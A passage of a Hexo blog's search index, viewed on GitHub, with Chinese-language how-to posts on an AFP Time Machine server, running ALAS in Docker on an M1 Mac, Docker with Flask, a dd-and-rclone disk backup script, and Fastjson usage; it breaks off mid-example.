-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsearch.xml
2562 lines (2428 loc) · 351 KB
/
search.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>AFP与Time Machine</title>
<url>/2023/05/01/AFP%E4%B8%8ETime%20Machine/</url>
<content><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/20230501204251.png"></p>
<h2 id="0x01安装"><a href="#0x01安装" class="headerlink" title="0x01安装"></a>0x01安装</h2><p>安装Netatalk服务,用来把Linux/Unix伪装成AFP协议传输的文件服务器:</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">sudo apt-get install netatalk</span><br></pre></td></tr></table></figure>
<p>安装avahi-daemon,用来在Linux/Unix中开启类似的Bonjour的服务:</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">sudo apt-get install avahi-daemon</span><br></pre></td></tr></table></figure>
<h2 id="0x02配置文件"><a href="#0x02配置文件" class="headerlink" title="0x02配置文件"></a>0x02配置文件</h2><p>编辑<code>/etc/netatalk/afp.conf</code></p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">;</span><br><span class="line">; Netatalk 3.x configuration file</span><br><span class="line">;</span><br><span class="line"></span><br><span class="line">[Global]</span><br><span class="line">; Global server settings</span><br><span class="line"></span><br><span class="line">; [Homes]</span><br><span class="line">; basedir regex = /xxxx</span><br><span class="line"></span><br><span class="line">; [My AFP Volume]</span><br><span class="line">; path = /path/to/volume</span><br><span class="line"></span><br><span class="line">; [My Time Machine Volume]</span><br><span class="line">; path = /path/to/backup</span><br><span class="line">; time machine = yes</span><br><span class="line"></span><br><span class="line">[PiCpo Time Machine]</span><br><span class="line">path = /mnt/HGST01/Time ;这是我挂载的文件目录</span><br><span class="line">time machine = yes</span><br><span class="line">valid users = user ;选择登陆的用户</span><br></pre></td></tr></table></figure>
<p>最后别忘了restart</p>
<p>选择添加afp://ip再输入用户名密码就能连接到自己的Time Machine服务器了</p>
<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/3145f8286ec543689a6b0a8614a2843e.jpeg"></p>
]]></content>
<categories>
<category>野生技术协会</category>
</categories>
<tags>
<tag>linux</tag>
<tag>AFP</tag>
<tag>ubuntu</tag>
<tag>Time Machine</tag>
</tags>
</entry>
<entry>
<title>ARM64(M1版)架构下macOS运行ALAS脚本</title>
<url>/2024/10/15/ARM64%EF%BC%88M1%E7%89%88%EF%BC%89%E6%9E%B6%E6%9E%84%E4%B8%8BmacOS%E8%BF%90%E8%A1%8CALAS%E8%84%9A%E6%9C%AC/</url>
<content><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202410152008286.png"></p>
<h2 id="0x00前言"><a href="#0x00前言" class="headerlink" title="0x00前言"></a>0x00前言</h2><p>首先感谢Github上面MAA以及AzurLaneAutoScript的开发组,让我们有工具可用。再感谢@吕明珠LmeSzinc 、@binss以及chenhuan20123 大佬,他们的教程让我受益良多。</p>
<h2 id="0x01模拟器"><a href="#0x01模拟器" class="headerlink" title="0x01模拟器"></a>0x01模拟器</h2><p>安卓官方的模拟器能用,安装吧,我也想运行原生游戏安装包,但是alas似乎只能用adb进行一些操作</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">https://github.com/google/android-emulator-m1-preview/releases/download/0.3/android-emulator-m1-preview.dmg</span><br></pre></td></tr></table></figure>
<p>这个不用下载android studio,非常好(</p>
<p>安装后不能直接打开,需要提前进入 <code>Android Emulator.app/Contents/MacOS/api30-gphone-arm64-v8a/config.ini</code>这里面进行一些修改(非常抽象的是,如果你运行后再试图进行修改无论如何也是失效的,只能重新安装),以下是一些需要更改的字段</p>
<figure class="highlight ini"><table><tr><td class="code"><pre><span class="line">硬盘空间:<span class="attr">disk.dataPartition.size</span>=<span class="number">20480</span>M //我直接加了个<span class="number">0</span>,因为游戏下载所有资源后也差不多这么大</span><br><span class="line">运行内存:<span class="attr">hw.ramSize</span>=<span class="number">4096</span> //我觉得<span class="number">4</span>G够了</span><br><span class="line">DPI:<span class="attr">hw.lcd.density</span>=<span class="number">420</span> //这个不变</span><br><span class="line">显示高度:<span class="attr">hw.lcd.height</span>=<span class="number">720</span></span><br><span class="line">显示宽度:<span class="attr">hw.lcd.width</span>=<span class="number">1280</span></span><br></pre></td></tr></table></figure>
<p>运行后可能无法直接将游戏安装包拖动到窗口进行安装,说明你缺少adb,可以使用以下命令在macOS安装这些组件</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line">brew install android-platform-tools</span><br><span class="line">//安装成功后可以输入以下命令获取位置</span><br><span class="line">adb version</span><br></pre></td></tr></table></figure>
<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202410152022899.png"></p>
<p>记得到这个界面给模拟器加上adb路径</p>
<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202410152024442.png"></p>
<h2 id="0x02脚本安装"><a href="#0x02脚本安装" class="headerlink" title="0x02脚本安装"></a>0x02脚本安装</h2><p>先去项目原地址把代码全部git clone下来到某个位置,保留用。</p>
<p>其次去拉取binss大佬做的镜像<code>binss/azurlaneautoscript:arm64</code>(本质是为了mxnet1.9.0这个东西,你愿意的话也可以自己编译),然后你就可以运行一下容器了:</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line">docker run -it -e TZ=Asia/Shanghai --volume=你自己放alas的文件夹:/app/AzurLaneAutoScript:rw -p 22267:22267 --name azurlaneautoscript binss/azurlaneautoscript:arm64</span><br></pre></td></tr></table></figure>
<p>第一次运行时可以运行试试,这个镜像是半年前的,所以里面有些东西确实很正常,你可以在docker桌面端的程序里pip,也可以直接docker exec -it。我看了一下大概缺少了<code>onepush==1.3.0</code>、<code>pydantic==1.10.2</code>、<code>uiautomator2cache==0.3.0.1</code>等这几个。版本号不要照抄,对着requrements.txt文件查;也别一上来就直接安装整个requrements.txt,这会把<a href="https://binsitepublic-10018028.file.myqcloud.com/mxnet-1.9.1-py3-none-any.whl">mxnet-1.9.1</a>顶掉为1.6.0,相当于镜像白装了。</p>
<h2 id="0x03使用"><a href="#0x03使用" class="headerlink" title="0x03使用"></a>0x03使用</h2><p>经过几次重启容器,这次大概率可以正常使用了:serial设置为<code>host.docker.internal:5555</code>,截图方案和点击方案我都是ADB。打开webUI后可以测试一下,看看有没有问题。</p>
<p>有人推荐点击方案是Hermit,但我这偶尔出问题后会自动转为另一个根本不可用的方案,我无语了,目前切换为ADB一点问题都没,后面出了状况再说吧。</p>
<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202410152051428.png"></p>
]]></content>
<categories>
<category>野生技术协会</category>
</categories>
<tags>
<tag>macOS</tag>
<tag>碧蓝航线</tag>
</tags>
</entry>
<entry>
<title>Docker+Flask构建后端的踩坑记录</title>
<url>/2021/11/04/dockerflask%E6%9E%84%E5%BB%BA%E5%90%8E%E7%AB%AF%E7%9A%84%E8%B8%A9%E5%9D%91%E8%AE%B0%E5%BD%95/</url>
<content><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252206491.png"></p>
<p>今天第一次尝试用flask构建自己的后端项目,其实一切都挺顺利的。直到部署这个环节,因为我对于Flask和Docker不了解,踩了不少坑。</p>
<p>docker这个东西,对于我这个初学者来说,dockerfile是好文明,但是docker本身不是。</p>
<p>在一开始,我总是尝试pull ubuntu镜像,然后再dockerfile里面写上apt-get install和pip,其实何必呢,完全就有官方的python环境镜像。而且,手动更改系统镜像,不一定能达到效果,就好比今天Python环境搞了半天,发现跑不起来,因为期间的软链接创建不成功,无法执行<code>python app.py</code>这个命令(但是它自带的python3没有问题,但是我要的是python2)</p>
<p>写了个自动搭建dockerfile,仅供参考</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">//FlaskApp </span><br><span class="line">// ├── requirements.txt</span><br><span class="line">// ├── Dockerfile</span><br><span class="line">// └── app</span><br><span class="line">// └── app.py</span><br><span class="line">// └── <other .py files></span><br><span class="line">//这是我的目录结构</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">FROM python:3.7</span><br><span class="line">//直接pull python3.7</span><br><span class="line"></span><br><span class="line">MAINTAINER picpo "[email protected]"</span><br><span class="line"></span><br><span class="line">COPY ./requirements.txt /requirements.txt</span><br><span class="line"></span><br><span class="line">WORKDIR /</span><br><span class="line"></span><br><span class="line">RUN pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple some-package</span><br><span class="line"></span><br><span class="line">COPY . /</span><br><span class="line"></span><br><span class="line">ENTRYPOINT [ "python" ,"app/app.py" ]</span><br></pre></td></tr></table></figure>
<p>Dockerfile的基本指令有十三个,上面用到了部分;</p>
<ul>
<li><p><strong>FROM</strong> - 所有Dockerfile的第一个指令都必须是 <code>FROM</code> ,用于指定一个构建镜像的基础源镜像,如果本地没有就会从公共库中拉取,没有指定镜像的标签会使用默认的latest标签,如果需要在一个Dockerfile中构建多个镜像,可以使用多次。 </p>
</li>
<li><p><strong>MAINTAINER</strong> - 描述镜像的创建者,名称和邮箱。 </p>
</li>
<li><p><strong>RUN</strong> - RUN命令是一个常用的命令,执行完成之后会成为一个新的镜像,通常用于运行安装任务从而向映像中添加额外的内容。在这里,我们需更新包,安装 <code>python3</code> 和 <code>pip</code> 。在第二个 <code>RUN</code> 命令中使用 <code>pip</code> 来安装 <code>requirements.txt</code> 文件中的所有包。 </p>
</li>
<li><p><strong>COPY</strong> - 复制本机文件或目录,添加到指定的容器目录, 本例中将 <code>requirements.txt</code> 复制到镜像中。 </p>
</li>
<li><p><strong>WORKDIR</strong> - 为RUN、CMD、ENTRYPOINT指令配置工作目录。可以使用多个WORKDIR指令,后续参数如果是相对路径,则会基于之前命令指定的路径。 </p>
</li>
<li><p><strong>ENTRYPOINT</strong> - 在启动容器的时候提供一个默认的命令项。</p>
</li>
</ul>
<p>现在 <code>Dockerfile</code> 已经准备好了,而且也了解了Docker的构建过程,接下来为我们的应用程序创建Docker映像:</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">docker build -t docker-flask:0.1 .</span><br></pre></td></tr></table></figure>
<p>容器化的优点,就是开发的应用程序通过容器部署,从一开始就确保了应用程序构建的环境是干净的,从而消除了交付过程中的意外情况。</p>
<p>但是呢,在开发应用程序的过程中,更重要的是要快速重新构建和测试,以检查验证过程中的每个中间步骤。为此,web应用程序的开发人员需要依赖于Flask等框架提供的自动重启功能(Debug模式下,修改代码自动重启)。而这一功能也可以在容器中使用。</p>
<p>为了启用自动重启,在启动Docker容器时将主机中的开发目录映射到容器中的app目录。这样Flask就可以监听主机中的文件变化(通过映射)来发现代码更改,并在检测到更改时自动重启应用程序。</p>
<p>此外,还需要将应用程序的端口从容器转发到主机。这是为了能够让主机上的浏览器访问应用程序。</p>
<p>因此,启动Dokcer容器时需要使用 <em>volume-mapping</em> 和 <em>port-forwarding</em> 选项:</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">docker run --name flask_app -v $PWD/app:/app -p 1000:5000 docker-flask:0.1</span><br></pre></td></tr></table></figure>
<p>该命令将会执行以下操作:</p>
<ul>
<li><p>基于之前构建的 <code>docker-flask</code> 镜像启动一个容器; </p>
</li>
<li><p>这个容器的名称被设置为 <code>flask_app</code> 。如果没有 <code>——name</code> 选项,Docker将为容器生成一个名称。显式指定名称可以帮助我们定位容器(用来停止等操作); </p>
</li>
<li><p><code>-v</code> 选项将主机的app目录挂载到容器; </p>
</li>
<li><p><code>-p</code> 选项将容器的端口映射到主机。</p>
</li>
</ul>
<p>现在可以通过<code>http://localhost:5000</code> 或者 <code>http://0.0.0.0:5000/</code> 访问到应用</p>
<p>然而,然而,第二个坑就是我今天对Flask掌握不足的问题了(,在成功做好端口映射后,我在宿主机环境一直一直<code>curl localhost:10000</code>失败,返回的字符是<code>curl: (52) Empty reply from server</code>。很难绷得住,因为这端口好像转发成功了,但是啥也没有,其他的没有服务的端口都是refuse,压根没开,所以这是咋回事呢?我百思不得其解。</p>
<p>终于找到了一篇讲Flask的博客(<a href="https://blog.csdn.net/qq_26591517/article/details/86423838">https://blog.csdn.net/qq_26591517/article/details/86423838</a>),里面有这么提到:</p>
<p>“用python开启flask web服务时:(1)你只需要本机访问,那ip只要不设置为0.0.0.0就可以,正常访问就好。(2)如果你需要外网访问,ip需要设置为0.0.0.0,此时,在本机上访问需要使用默认的127.0.0.1(也就是你不设置ip时默认的ip),在外网上访问则需要使用你本机的ip,不要使用0.0.0.0”</p>
<p>原来如此,我立马把</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">if __name__ == "__main__":</span><br><span class="line"> app.run()</span><br></pre></td></tr></table></figure>
<p>改为:</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">if __name__ == "__main__":</span><br><span class="line"> app.run(host="0.0.0.0")</span><br></pre></td></tr></table></figure>
<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252207219.png"></p>
<p>成功了!</p>
]]></content>
<categories>
<category>后端</category>
</categories>
<tags>
<tag>Docker</tag>
<tag>Flask</tag>
</tags>
</entry>
<entry>
<title>Linux全盘备份指南</title>
<url>/2024/07/30/Linux%E5%85%A8%E7%9B%98%E5%A4%87%E4%BB%BD%E6%8C%87%E5%8D%97/</url>
<content><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202407301307619.png"></p>
<p>难绷之灵车服务器的系统盘炸了,损失极其惨重,这几天重新装了个Debian系统,想着有必要搞一个全盘备份系统的功能(数据备份真的很重要QAQ)。</p>
<p>目前用的是dd+alist+rclone,原理就是dd全盘备份+压缩+alist挂载各种云盘+rclone上传到alist的webdav上:</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta prompt_">#</span><span class="language-bash">!/bin/bash</span></span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">备份并压缩脚本</span></span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">检查是否具有root权限</span></span><br><span class="line">if [ "$EUID" -ne 0 ]; then</span><br><span class="line"> echo "请使用root权限运行此脚本"</span><br><span class="line"> exit 1</span><br><span class="line">fi</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">检查是否传入了源磁盘和目标目录</span></span><br><span class="line">if [ $# -ne 2 ]; then</span><br><span class="line"> echo "使用方法: $0 <源磁盘> <目标目录>"</span><br><span class="line"> echo "例如: $0 /dev/sda /path/to/backup_directory"</span><br><span class="line"> exit 1</span><br><span class="line">fi</span><br><span class="line"></span><br><span class="line">SOURCE_DISK=$1</span><br><span class="line">TARGET_DIR=$2</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">确认源磁盘存在</span></span><br><span class="line">if [ ! -b "$SOURCE_DISK" ]; then</span><br><span class="line"> echo "源磁盘不存在: $SOURCE_DISK"</span><br><span class="line"> exit 1</span><br><span class="line">fi</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">确认目标目录存在</span></span><br><span class="line">if [ ! -d "$TARGET_DIR" ]; then</span><br><span class="line"> echo "目标目录不存在: $TARGET_DIR"</span><br><span class="line"> exit 1</span><br><span class="line">fi</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">生成目标文件名,使用下划线分割年月日时间</span></span><br><span class="line">TIMESTAMP=$(date +"%Y_%m_%d_%H_%M_%S")</span><br><span class="line">TARGET_FILE="$TARGET_DIR/backup_$TIMESTAMP.img.gz"</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">备份磁盘并压缩到目标文件</span></span><br><span class="line">echo "开始备份并压缩 $SOURCE_DISK 到 $TARGET_FILE ..."</span><br><span class="line">dd if=$SOURCE_DISK bs=4M status=progress | gzip > $TARGET_FILE</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">检查备份是否成功</span></span><br><span class="line">if [ $? -eq 0 ]; then</span><br><span class="line"> echo "备份并压缩成功: $TARGET_FILE"</span><br><span class="line"> </span><br><span class="line"><span class="meta prompt_"> # </span><span class="language-bash">使用rclone将备份文件移动到远程存储</span></span><br><span class="line"> echo "开始将备份文件移动到远程存储..."</span><br><span class="line"> rclone move $TARGET_FILE backup:/backup -P --no-check-certificate</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"> # </span><span class="language-bash">检查rclone是否成功</span></span><br><span class="line"> if [ $? -eq 0 ]; then</span><br><span class="line"> echo "备份文件移动成功"</span><br><span class="line"> else</span><br><span class="line"> echo "备份文件移动失败"</span><br><span class="line"> exit 1</span><br><span class="line"> fi</span><br><span class="line">else</span><br><span class="line"> echo "备份并压缩失败"</span><br><span class="line"> exit 1</span><br><span class="line">fi</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p>保存这个脚本到一个文件中,比如<code>backup_and_compress_with_timestamp.sh</code>,然后给它可执行权限:</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">chmod +x backup_and_compress_with_timestamp.sh</span><br><span class="line">sudo ./backup_and_compress_with_timestamp.sh /dev/sda /path/to/backup_directory</span><br></pre></td></tr></table></figure>
<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202407301332892.png"></p>
]]></content>
<categories>
<category>野生技术协会</category>
</categories>
<tags>
<tag>linux</tag>
<tag>Debian</tag>
</tags>
</entry>
<entry>
<title>Fastjson对JSON字符串、对象及数组进行转换</title>
<url>/2021/12/12/fastjson%E5%AF%B9json%E5%AD%97%E7%AC%A6%E4%B8%B2%E3%80%81%E5%AF%B9%E8%B1%A1%E5%8F%8A%E6%95%B0%E7%BB%84%E8%BF%9B%E8%A1%8C%E8%BD%AC%E6%8D%A2/</url>
<content><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252126633.png"></p>
<h2 id="fastjson依赖包添加"><a href="#fastjson依赖包添加" class="headerlink" title="fastjson依赖包添加"></a><strong>fastjson依赖</strong>包添加</h2><p>网上找到了个不错的api,格式是json,我只会js语言的json处理,赶紧学了一下fastjson</p>
<p>到<a href="https://mvnrepository.com/">https://mvnrepository.com/</a>里,搜索Fastjson</p>
<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252130395.png"></p>
<p>选择版本,我用的是1.2.78的kotlin Gradle</p>
<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252130885.png"></p>
<h2 id="FastJson主要类"><a href="#FastJson主要类" class="headerlink" title="FastJson主要类"></a>FastJson主要类</h2><p>fastjson对于json格式字符串的解析主要用到了一下三个类</p>
<ul>
<li>(1)JSON:fastJson的解析器,用于JSON格式字符串与JSON对象及javaBean之间的转换。</li>
<li>(2)jsonobject:fastJson提供的json对象。</li>
<li>(3)jsonarray:fastJson提供json数组对象。</li>
</ul>
<h2 id="JSON转换"><a href="#JSON转换" class="headerlink" title="JSON转换"></a>JSON转换</h2><h3 id="JAVA对象转JSON字符串"><a href="#JAVA对象转JSON字符串" class="headerlink" title="JAVA对象转JSON字符串"></a>JAVA对象转JSON字符串</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">//java对象转json字符串</span><br><span class="line"> public static void beanTojson() {</span><br><span class="line"> Data data = new Data();</span><br><span class="line"> data.setAction("add");</span><br><span class="line"> data.setId("1");</span><br><span class="line"> data.setOrdinal(8L);</span><br><span class="line"> data.setOrganUnitFullName("testJSON");</span><br><span class="line"> data.setParent("0");</span><br><span class="line"> data.setSuborderNo("58961");</span><br><span class="line"></span><br><span class="line"> String s = JSON.toJSONString(data);</span><br><span class="line"> System.out.println("toJsonString()方法:s=" + s);</span><br><span class="line"> //输出结果{"action":"add","id":"1","ordinal":8,"organUnitFullName":"testJSON","parent":"0","suborderNo":"58961"}</span><br><span class="line"> }</span><br></pre></td></tr></table></figure>
<h3 id="JSON字符串转JSON对象"><a href="#JSON字符串转JSON对象" class="headerlink" title="JSON字符串转JSON对象"></a>JSON字符串转JSON对象</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">//json字符串转json对象</span><br><span class="line"> public static void jsonToJsonBean() {</span><br><span class="line"> String s ="{\"action\":\"add\",\"id\":\"1\",\"ordinal\":8,\"organUnitFullName\":\"testJSON\",\"parent\":\"0\",\"suborderNo\":\"58961\"}";</span><br><span class="line"></span><br><span class="line"> JSONObject jsonObject = JSON.parseObject(s);</span><br><span class="line"> String action = jsonObject.getString("action");</span><br><span class="line"> String id = jsonObject.getString("id");</span><br><span class="line"> System.out.println("action ="+action);//add</span><br><span class="line"> System.out.println("id ="+id);//1</span><br><span class="line"> System.out.println("jsonObject ="+jsonObject);</span><br><span class="line"> //action =add</span><br><span class="line"> //id =1</span><br><span class="line"> //jsonObject ={"parent":"0","organUnitFullName":"testJSON","action":"add","id":"1","suborderNo":"58961","ordinal":8}</span><br><span class="line"> }</span><br></pre></td></tr></table></figure>
<h3 id="复杂JSON格式字符串与JSONObject之间的转换"><a href="#复杂JSON格式字符串与JSONObject之间的转换" class="headerlink" title="复杂JSON格式字符串与JSONObject之间的转换"></a>复杂JSON格式字符串与JSONObject之间的转换</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">public static void jsonToBean() {</span><br><span class="line"> String str ="{\"meta\":{\"code\":\"0\",\"message\":\"同步成功!\"},\"data\":{\"orderno\":\"U_2018062790915774\",\"suborderno\":\"SUB_2018062797348039\",\"type\":\"organunit\",\"result\":{\"organunit\":{\"totalCount\":2,\"successCount\":0,\"failCount\":2,\"errors\":[{\"code\":\"UUM70004\",\"message\":\"组织单元名称不能为空\",\"data\":{\"id\":\"254\",\"suborderNo\":\"SUB_2018062797348039\",\"organUnitType\":\"部门\",\"action\":\"add\",\"parent\":\"10000\",\"ordinal\":0,\"organUnitFullName\":\"组织单元全称\"},\"success\":false},{\"code\":\"UUM70004\",\"message\":\"组织单元名称不能为空\",\"data\":{\"id\":\"255\",\"suborderNo\":\"SUB_2018062797348039\",\"organUnitType\":\"部门\",\"action\":\"add\",\"parent\":\"10000\",\"ordinal\":0,\"organUnitFullName\":\"组织单元全称\"},\"success\":false}]},\"role\":{\"totalCount\":0,\"successCount\":0,\"failCount\":0,\"errors\":[]},\"user\":{\"totalCount\":0,\"successCount\":0,\"failCount\":0,\"errors\":[]}}}}";</span><br><span class="line"> JSONObject jsonObject = JSON.parseObject(str);</span><br><span class="line"> JSONObject data = jsonObject.getJSONObject("data");</span><br><span class="line"> JSONObject result = data.getJSONObject("result");</span><br><span class="line"></span><br><span class="line"> String organunit1 = result.getString("organunit");</span><br><span class="line"> System.out.println(organunit1);</span><br><span class="line"> JSONObject organunit = result.getJSONObject("organunit");</span><br><span class="line"></span><br><span class="line"> JSONArray errors2 = organunit.getJSONArray("errors");</span><br><span class="line"></span><br><span class="line"> List<Error> error = JSON.parseObject(errors2.toJSONString(), new TypeReference<List<Error>>() {</span><br><span class="line"> });</span><br><span class="line"> }</span><br></pre></td></tr></table></figure>
<h3 id="JSON字符串转JAVA简单对象"><a href="#JSON字符串转JAVA简单对象" class="headerlink" title="JSON字符串转JAVA简单对象"></a>JSON字符串转JAVA简单对象</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">//json字符串转java简单对象</span><br><span class="line"> public static void jsonStrToJavaBean() {</span><br><span class="line"> String s ="{\"action\":\"add\",\"id\":\"1\",\"ordinal\":8,\"organUnitFullName\":\"testJSON\",\"parent\":\"0\",\"suborderNo\":\"58961\"}";</span><br><span class="line"> Data data = JSON.parseObject(s, Data.class);</span><br><span class="line"> System.out.println("data对象"+data.toString());</span><br><span class="line"> System.out.println("action="+data.getAction()+"---id="+data.getId());</span><br><span class="line"> //data对象Data{id='1', suborderNo='58961', organUnitType='null', action='add', parent='0', organUnitFullName='testJSON', ordinal=8}</span><br><span class="line"> //action=add---id=1</span><br><span class="line"></span><br><span class="line"> /**</span><br><span class="line"> * 另一种方式转对象</span><br><span class="line"> */</span><br><span class="line"> Data dd = JSON.parseObject(s, new TypeReference<Data>() {});</span><br><span class="line"> System.out.println("另一种方式获取data对象"+dd.toString());</span><br><span class="line"> System.out.println("另一种方式获取="+dd.getAction()+"---id="+dd.getId());</span><br><span class="line"> //另一种方式获取data对象Data{id='1', suborderNo='58961', organUnitType='null', action='add', parent='0', organUnitFullName='testJSON', ordinal=8}</span><br><span class="line"> //另一种方式获取=add---id=1</span><br><span class="line"> }</span><br></pre></td></tr></table></figure>
<h3 id="JSON字符串-数组类型与JAVA对象的转换"><a href="#JSON字符串-数组类型与JAVA对象的转换" class="headerlink" title="JSON字符串 数组类型与JAVA对象的转换"></a>JSON字符串 数组类型与JAVA对象的转换</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">{"errors":[{"code":"UUM70004","message":"组织单元名称不能为空","data":{"id":"254","suborderNo":"SUB_2018062797348039","organUnitType":"部门","action":"add","parent":"10000","ordinal":0,"organUnitFullName":"组织单元全称"},"success":false},{"code":"UUM70004","message":"组织单元名称不能为空","data":{"id":"255","suborderNo":"SUB_2018062797348039","organUnitType":"部门","action":"add","parent":"10000","ordinal":0,"organUnitFullName":"组织单元全称"},"success":false}]}</span><br><span class="line"></span><br><span class="line">//json字符串--数组型与JSONArray对象之间的转换</span><br><span class="line"> public static void jsonStrToJSONArray() {</span><br><span class="line"> String str = 